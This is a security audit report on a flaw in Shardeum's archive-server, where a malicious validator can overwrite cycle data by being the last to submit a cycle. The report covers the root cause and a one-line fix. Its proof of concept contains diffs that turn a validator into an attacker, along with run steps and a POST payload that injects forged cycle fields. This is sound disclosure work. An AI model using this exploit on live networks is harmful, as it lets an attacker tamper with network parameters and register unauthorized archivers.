39626 [W&A-Critical] malicious validator can overwrite any cycle data
#39626 [W&A-Critical] Malicious Validator Can Overwrite Any Cycle Data
Submitted on Feb 3rd 2025 at 16:59:16 UTC by @Blockian for Audit Comp | Shardeum: Ancillaries III
Report ID: #39626
Report Type: Websites and Applications
Report severity: Critical
Target: https://github.com/shardeum/archive-server/tree/itn4
Impacts:
Taking and/modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as:
Changing registration information
Commenting
Voting
Making trades
Withdrawals, etc.
Direct theft of user funds
Description
Shardeum Ancillaries Bug Report
Malicious Validator Can Overwrite Any Cycle Data
Summary
A vulnerability in the collectCycleData
function allows a malicious Validator to manipulate the Archiver by processing a fake cycle controlled entirely by the Validator. This issue enables the Validator to override legitimate cycles, potentially altering critical network parameters such as adding unauthorized Archivers—an action that should be restricted to the Shardeum team.
Root Cause Analysis
Examining the collectCycleData
function:
export function collectCycleData(
cycleData: P2PTypes.CycleCreatorTypes.CycleData[],
senderInfo: string
): void {
for (const cycle of cycleData) {
// Logger.mainLogger.debug('Cycle received', cycle.counter, senderInfo)
let cycleToSave = []
if (receivedCycleTracker[cycle.counter]) {
if (receivedCycleTracker[cycle.counter][cycle.marker]) {
if (!receivedCycleTracker[cycle.counter][cycle.marker]['senderNodes'].includes(senderInfo)) {
receivedCycleTracker[cycle.counter][cycle.marker]['receivedTimes']++
receivedCycleTracker[cycle.counter][cycle.marker]['senderNodes'].push(senderInfo)
}
} else {
if (!validateCycleData(cycle)) continue
receivedCycleTracker[cycle.counter][cycle.marker] = {
cycleInfo: cycle,
receivedTimes: 1,
saved: false,
senderNodes: [senderInfo],
}
if (config.VERBOSE) Logger.mainLogger.debug('Different Cycle Record received', cycle.counter)
}
} else {
if (!validateCycleData(cycle)) continue
receivedCycleTracker[cycle.counter] = {
[cycle.marker]: {
cycleInfo: cycle,
receivedTimes: 1,
saved: false,
senderNodes: [senderInfo],
},
}
}
if (config.VERBOSE)
Logger.mainLogger.debug('Cycle received', cycle.counter, receivedCycleTracker[cycle.counter])
const minCycleConfirmations =
Math.min(Math.ceil(NodeList.getActiveNodeCount() / currentConsensusRadius), 5) || 1
for (const value of Object.values(receivedCycleTracker[cycle.counter])) {
if (value['saved']) {
// If there is a saved cycle, clear the cycleToSave of this counter; This is to prevent saving the another cycle of the same counter
for (let i = 0; i < cycleToSave.length; i++) {
// eslint-disable-next-line security/detect-object-injection
receivedCycleTracker[cycle.counter][cycleToSave[i].marker]['saved'] = false
}
cycleToSave = []
break
}
if (value['receivedTimes'] >= minCycleConfirmations) {
cycleToSave.push(cycle) // BUG HERE!
value['saved'] = true
}
}
if (cycleToSave.length > 0) {
processCycles(cycleToSave)
}
}
// ... some non relevant stuff
}
Vulnerability Breakdown
When processing a new cycle, the function follows these steps:
If the
cycle.counter
andcycle.marker
exist inreceivedCycleTracker
, it incrementsreceivedTimes
.Otherwise, it validates the cycle using
validateCycleData
and adds it toreceivedCycleTracker
.If
receivedTimes
meets or exceedsminCycleConfirmations
, the cycle is added tocycleToSave
.Finally,
processCycles(cycleToSave)
is called to process the cycle.
The Problem
The cycle added to cycleToSave
is simply the last cycle received, not necessarily the validated one. This means that the last validator to submit a cycle can modify its properties and force an incorrect cycle into the Archiver, potentially altering network parameters.
Exploitation Steps
Scenario
Assume minCycleConfirmations == 5
and there are five connected Validators, with only one being malicious.
Steps to Exploit
The first four Validators submit the correct cycle (
cycle.counter == x
,cycle.marker == y
).The malicious Validator submits a modified cycle while maintaining the same
cycle.counter
andcycle.marker
. For example, it could add an unauthorized Archiver.The Archiver receives the fake cycle and sees
receivedTimes == 5
, adding the newly received cycle tocycleToSave
.The Archiver processes the fake cycle (registering the unauthorized Archiver or modifying other network parameters, depending on the payload).
Impact
A malicious Validator can manipulate key network parameters, including node counts, Archivers, and more.
The Validator effectively gains control over the information processed by Archivers, allowing unauthorized data modifications.
The ability to register Archivers without Shardeum team approval is a critical security risk.
Proposed Fix
Modify how cycleToSave
is assigned:
Current (Vulnerable) Code:
cycleToSave.push(cycle)
Secure Fix:
cycleToSave.push(receivedCycleTracker[cycle.counter][cycle.marker].cycleInfo)
Why This Works
The corrected version ensures that only the cycle that underwent validation is stored and processed, preventing last-minute tampering.
Proof of Concept
Proof of Concept (PoC)
Basically, all we need to do is create a malicious Validator to execute this attack, but to make the POC easier to perform, I added some additional logs to the Archiver for additional visibility, I suggest adding them as well.
In the collectCycleData
function add the following logs after the minCycleConfirmations
calculation:
Logger.mainLogger.info(`------ BLOCKIAN ------`)
Logger.mainLogger.info(`BLOCKIAN1 -> minCycleConfirmations: ${minCycleConfirmations}, senderInfo: ${senderInfo}`)
Logger.mainLogger.info(`BLOCKIAN2 -> receivedTimes: ${receivedCycleTracker[cycle.counter][cycle.marker]['receivedTimes']}, senderInfo: ${senderInfo}`)
Logger.mainLogger.info(`BLOCKIAN3 -> cycle: ${JSON.stringify(cycle)}, senderInfo: ${senderInfo}`)
Logger.mainLogger.info(`------ BLOCKIAN ------`)
Creating a Malicious Validator
Modify the core
repository with the following diffs:
Diff 1 - Adding a Custom Route to Modify the Cycle
diff --git a/src/p2p/Join/routes.ts b/src/p2p/Join/routes.ts
index f415f8ab..f26544cd 100644
--- a/src/p2p/Join/routes.ts
+++ b/src/p2p/Join/routes.ts
@@ -328,6 +328,23 @@ const standbyRefreshRoute: P2P.P2PTypes.Route<Handler> = {
},
}
+const blockianRoute: P2P.P2PTypes.Route<Handler> = {
+ method: 'POST',
+ name: 'blockian',
+ handler: (req, res) => {
+ console.log("got request from blockian")
+ const body = req.body
+ if (body.debug) {
+ return res.json({ ...body, gotBlockian: true })
+ }
+
+ Comms.modifyCycle.shouldModify = body.shouldModify
+ Comms.modifyCycle.cycle = body.cycle
+
+ res.json({ success: true })
+ },
+}
+
const joinedV2Route: P2P.P2PTypes.Route<Handler> = {
method: 'GET',
name: 'joinedV2/:publicKey',
@@ -778,7 +795,7 @@ const gossipStandbyRefresh: P2P.P2PTypes.GossipHandler<
}
export const routes = {
- external: [cycleMarkerRoute, joinRoute, joinedRoute, joinedV2Route, acceptedRoute, unjoinRoute, standbyRefreshRoute],
+ external: [blockianRoute, cycleMarkerRoute, joinRoute, joinedRoute, joinedV2Route, acceptedRoute, unjoinRoute, standbyRefreshRoute],
gossip: {
'gossip-join': gossipJoinRoute,
'gossip-valid-join-requests': gossipValidJoinRequests,
Diff 2 - Enabling Cycle Modification
diff --git a/src/p2p/Comms.ts b/src/p2p/Comms.ts
index b74eb8fe..8f2c9324 100644
--- a/src/p2p/Comms.ts
+++ b/src/p2p/Comms.ts
@@ -30,6 +30,8 @@ import { nodeListFromStates } from './Join'
/** ROUTES */
+export let modifyCycle: {shouldModify: boolean, cycle: P2P.CycleCreatorTypes.CycleRecord } = { shouldModify: false, cycle: null }
+
type GossipReq = P2P.P2PTypes.LooseObject
// const gossipInternalRoute: P2P.P2PTypes.InternalHandler<GossipReq> = async (
Diff 3 - Injecting Malicious Data into the Cycle
diff --git a/src/p2p/Archivers.ts b/src/p2p/Archivers.ts
index 8ac9ac3d..ca0e9c48 100644
--- a/src/p2p/Archivers.ts
+++ b/src/p2p/Archivers.ts
@@ -837,6 +837,7 @@ export function sendData() {
cyclesWithMarker.push({
...cycleRecords[i],
marker: computeCycleMarker(cycleRecords[i]),
+ ...(Comms.modifyCycle.shouldModify ? Comms.modifyCycle.cycle : {})
})
}
// Update lastSentCycle
@@ -891,6 +892,7 @@ export function sendData() {
cyclesWithMarker.push({
...cycleRecords[i],
marker: computeCycleMarker(cycleRecords[i]),
+ ...(Comms.modifyCycle.shouldModify ? Comms.modifyCycle.cycle : {})
})
}
// Update lastData
Executing the PoC
1. Setup
In the Archiver repo:
npm link
In the Core repo:
npm link
In the Shardeum repo:
npm link @shardeum-foundation/archiver @shardeum-foundation/core
2. Attack Execution
Start the system:
LOAD_JSON_CONFIGS=debug-10-nodes.config.json shardus start 10
Monitor logs for:
BLOCKIAN1 -> minCycleConfirmations: 2
Identify the Validator submitting the cycle second using:
BLOCKIAN2 -> receivedTimes: 2, senderInfo:
Send a POST request to the malicious Validator’s new
blockian
route:{ "shouldModify": true, "cycle": { "maxSyncTime":15000 } }
NOTE: cycle
can contain and false information, for this POC we simply change the maxSyncTime
.
5. Observe the Archiver accepting and storing the fake cycle without issues.
Last updated
Was this helpful?